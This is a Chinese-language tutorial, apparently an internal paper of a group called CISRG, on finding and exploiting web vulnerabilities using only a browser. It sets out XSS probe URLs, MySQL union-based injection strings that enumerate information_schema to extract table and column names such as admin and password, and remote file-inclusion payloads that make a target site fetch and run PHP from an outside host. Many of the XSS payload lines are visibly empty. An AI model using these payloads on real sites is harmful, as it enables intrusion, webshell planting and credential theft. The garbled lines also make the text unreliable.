WEB漏洞挖掘技术总结

漏洞挖掘技术一直是网络攻击者最感兴趣的问题，漏洞挖掘的范围也在随着技术的提升而有所变化。在前期针对缓冲区溢出、格式化字符串、堆溢出、lib库溢出等技术都是针对ELF文件(Linux可执行文件)或者PE文件(Win可执行文件)的漏洞挖掘技术。

　　在针对ELF文件、PE文件(*.exe与*.dll)的漏洞挖掘过程中，出现了很多的漏洞挖掘技术，但是针对PE文件、ELF文件的漏洞挖掘始终停留在了黑盒测试(包括单元黑盒测试)源代码审计等办法。通过RATS等源代码审计软件可以找到部分源代码级别的漏洞信息，但是毕竟源代码审计软件寻找的多数为strcpy memcpy等存在缓冲区溢出遗患的C函数，所以通过审计源代码的办法来进行漏洞挖掘是一个可能性系数很小的漏洞挖掘技术，而针对软件的黑盒子测试虽然也能找到一些软件的漏洞,但可能性系数也会较小，在国外的一些进行漏洞挖掘的办法已经慢慢的提升为自己写黑盒子测试代码,然后针对系统或软件的某个功能模块进行模块化的漏洞挖掘技术。

　　例如Linux内核的很多漏洞都是通过fuzzing技术找到的，fuzzing即模糊测试的意思,大家可以理解为类似SQL盲注入类型的攻击技术。

　　本文为CISRG的内部讨论文档，因此本文档的内容仅仅针对WEB漏洞的挖掘进行适当的讨论。

　　网络安全的界限在不断的提升，目前缓冲区溢出漏洞已经如MS SQL注入般的被很多人堵死，而在进行网络入侵渗透的过程中，很多人渗透成功的着力点都是通过WEB开始的，当然有些人是通过MS SQL注入，有些人通过其它的WEB漏洞技术一步步的走到了入侵成功的步骤。我们下面将会讨论一些WEB漏洞挖掘的简单技术，通过这些简单技术的规则，然后配合经验的提高，大家或许会得到意想不到的效果。

　　WEB漏洞的分类

　　A: SQL注入(包括MSSQL MySQL Oracle等)

　　SQL注入漏洞，是依靠存在弱点的WEB脚本代码，来实现通过浏览器执行任意SQL语句，从而实现最终获取某种权限的攻击技术。SQL注入的关键部分在于对元数据的利用，所谓元数据即数据库的基础数据。例如我们可以通过database() version()来获得数据库的名称及版本，而我们通过SQL内置函数获得的这些内容都属于数据库元数据的内容。

　　理解了元数据的概念，在后面的章节我会给大家简单的讲解下通过元数据来获取MySQL的数据表。

　　B: 文件包含类型，如PHP的的远程、本地文件包含漏洞

　　文件包含漏洞是PHP程序特有的一个弱点攻击，原理就是在使用include时没有安全的编程，而能够找到文件包含漏洞则是入侵一个WEB系统的很重要的因素，有了文件包含漏洞则可以很快速的达到上传WEBSHELL，然后本地提升权限的作用。

　　C: XSS

　　XSS漏洞是被很多人遗忘的漏洞，但是XSS也是一个比较危险的安全隐患，很多国内介绍XSS漏洞的文章大部分在如何欺骗管理员获得后台登陆帐户或者管理员的cookies文件。但这些仅仅是XSS漏洞的简单用法，如果寻找到的XSS漏洞可以任意执行任何的Javascript脚本，那安全性也是不容忽视的。通过Javascript脚本其实也可以做一些恶意的攻击，甚至可以获得一些WEB程序的源代码，当然这个要看大家对Javascript脚本的熟悉程度。例如我们这几天公布的这个可跨站执行任意Javascript脚本的漏洞，最后我也通过这个漏洞给客户演示了如何获取他们的服务器信息，并最终实现得到其一定权限的方法。

　　同时例如session欺骗，目前我也把这些规入了XSS漏洞的范围，当然仅仅研究这两个技术也是很值得大家去深入的进行漏洞挖掘的。

WEB漏洞挖掘规则

　　我想给大家事先说明下，该文档的所有内容都为黑盒子测试的范围，也即使用这些漏洞挖掘规则，大家仅仅需要一个WEB浏览器，如IE Firefox等即可，也无需读取WEB程序的源代码，只要某个规则符合了漏洞规则的要求，即可以采取相关的漏洞攻击技术进行相应的漏洞攻击办法。

　　在本文档我没有实际的例子给大家，但是很多漏洞挖掘的规则都是一些经验的积累，而且很多可能在实际进行漏洞挖掘时需要与实际情况进行分析处理，例如:

　　http://website/index1.php?id=，如果对方的代码过滤了"双引号那么可以通过http://website/index1.php?id=，采用'单引号测试

　　若单引号也过滤呢?我们这样来测试http://website/index1.php?id=使用数字提交，这样测试XSS的漏洞就扩展到了三条，有些具体的站点可能还会有很多的问题，如通过构造HTML语句来实现XSS漏洞的挖掘等等。

　　A: XSS的漏洞挖掘规则

　　代码:

　　http://website/index1.php?id=

　　http://website/index1.php?id=

　　http://website/index1.php?id=

　　http://website/index1.php?id=

　　http://website/index1.php?id=

　　http://website/index1.php?id=

　　http://website/index1.php?id=

　　http://website/index1.php?id=

　　http://website/index1.php?id=

　　http://website/index1.php?id=<"

　　http://website/index1.php?id=<'

　　http://website/index1.php?id=<

　　http://website/index1.php?id=

　　http://website/index1.php?id=

　　使用上面的这些简单漏洞规则，如果模糊测试一些站点的话，是可以找到一些XSS漏洞的，当然这些不是全部的XSS漏洞规则，但是我觉得这些规则比较经典些。在实际测试一些站点的时候，使用这些规则基本上可以找到一些XSS漏洞.

　　B: SQL Injection

　　现在，MSSQL的注入技术已经变的很简单，下面的内容我们针对mysql的注入和大家一起讨论下相关的技术，这些技术有简单的，也有一些比较复杂的。另外mysql的注入工具目前没有任何比较强的工具，我也在考虑我们CISRG是否要自己开发一款mysql的注入工具?

　　下面的这四个语句判断是否存在mysql注入，其中'号类型的测试已经不是很可行，特别在PHP5和mysql5的环境下。

　　代码:

　　http://website/index1.php?id=1'

　　http://website/index1.php?id=1 and 1=1

　　http://website/index1.php?id=1 and 1=2

　　http://website/index1.php?id=1 order by 4 //4为判断该表的列数，直到猜测到为止

　　下面的语句来获取mysql的一些信息，这里我们假设我们使用order by语句判断出的列数为4

　　代码:

　　http://website/index1.php?id=1 and 1=1 union select 1,2,3,4

　　http://website/index1.php?id=1 and 1=1 union select version(),database(),user(),4

　　http://website/index1.php?id=1 and 1=1 union select 1/*

　　http://website/index1.php?id=1 and 1=1 union select version()/*

　　http://website/index1.php?id=1 and 1=1 union select databse()/*

　　猜测表名:

　　代码:

　　http://website/index1.php?id=1 and 1=1 union select 1,2,3,4 from database.table where 1=2

　　//where 1=2 不打印猜测表的内容

　　这里的猜测就需要大家多靠经验了，如admin user articles news等等，且必须在指定select的字段个数再使用，否则mysql会报错。

　　http://website/index1.php?id=1 and 1=1 union select table_schema,table_name,table_rows,table_count from information_schema.tables //如果执行这条语句是可行的，那么恭喜大家可以得到更多的数据库信息了。

　　上面我曾经提到过使用数据库的元数据来获取mysql的信息，就是这里的这个办法,当然前提是系统管理员没有禁止mysql普通用户对元数据库的表查询，如果禁止了则该办法是无效的。

　　在开始分析mysql数据库到底可以执行到那种程度的注入情况下，我花了一天的时间分享了mysql的系统架构，最终发现通过information_schema数据库提供给mysql用户的元数据可以得到一些mysql数据库的基本信息，例如得到数据库的各个表信息等，还可以得到数据库的权限设置等信息，下面的内容讨论下information_schema数据库的一些我们用到的表的具体字段到底是干什么的。

　　代码:

　　1: KEY_COLUMN_USAGE表

　　constraint_schema: 存放数据库名

　　table_schema: 存放数据库名

　　table_name: 存放数据库表信息

　　column_name: 存放数据库的字段信息,一般可以获取第一个字段或者自增字段的信息

　　2: SCHEMA表

　　schema_name: 存放数据库名

　　default_charater_set_name: 存放charset类型

　　default_collation_name: 存放charset相关信息

　　3: SCHEMA_PRIVILEGES表

　　grantee: 存放数据库用户名

　　table_schema: 表名

　　privilege_type: 权限

　　4: STATISTICS表

　　table_schema: 存放数据库名

　　table_name: 存放表名

　　index_schema: 数据库名

　　index_name: 是否缩引?

　　column_name: 存放索引自增字段?

　　5: TABLES表

　　table_schema: 存放数据库名

　　table_name: 存放表名

　　table_type: 表类型 SYSTEM or BASE TABLE

　　engin: MEMORY MYISAM InnoDB

　　version:

　　table_rows:表的行数

　　auto_increment: 自增的总行数

　　create_time: 创建表的时间

　　update_time: 更新表的时间

　　create_options: 创建表时的约束条件

　　...

　　有了这些以后，如果对方系统管理员忽略了这些，则可以达到我们不需要猜测表名而直接获取数据库表名的结果。

　　猜测列名:

　　http://website/index1.php?id=1 and 1=1 union select username,2,3,4 from user where 1=2

　　按照这个规则依次类推，如果我们猜测到user表存在username字段，则程序执行是正常的,否则程序会出错，也可以使用where 1=1来打印表的信息，通过这样的办法就可以获取mysql数据库的某些关键表的字段信息，如:admin与password

　　C: 文件包含漏洞

　　文件包含漏洞的测试,有以下几个比较简单且有效的办法.

　　1: 新建一个简单的php代码，如：保存为*.txt格式

　　2: 新建一个简单的php代码，如：保存为无后缀格式

　　然后我们测试时只需要采取下面简单的办法即可,这里我们假设我们下面的文件URL为:

　　代码:

　　http://bbs.cciss.cn/include.txt

　　http://bbs.cciss.cn/include

　　漏洞规则

　　代码:

　　http://website/file.php?inc=http://bbs.cciss.cn/include.txt

　　http://website/file.php?inc=http://bbs.cciss.cn/include.txt?

　　http://website/file.php?inc=http://bbs.cciss.cn/include?

　　http://website/file.php?inc=http://bbs.cciss.cn/include

　　使用上面的简单规则即可实现文件包含漏洞的测试，当然得根据具体的返回信息来判断。例如从XSS漏洞的检测规则可能会发现包含文件漏洞。

　　如果我们知道PHP的某个函数存在缓冲区溢出，我们假设这个PHP的内置函数为phphtml(char *str)，那么我们如何利用这样的漏洞呢?

　　我们假设http://website/file.php?inc=test，这里的参数inc经过PHP代码时使用了phphtml内置函数，则可以使用下面的办法来触发漏洞http://website/file.php?inc=11111111111....n(n为触发漏洞的最大字符数)

　　当然类似这样的漏洞是需要写程序来自动运行的，然后来触发溢出并执行shellcode。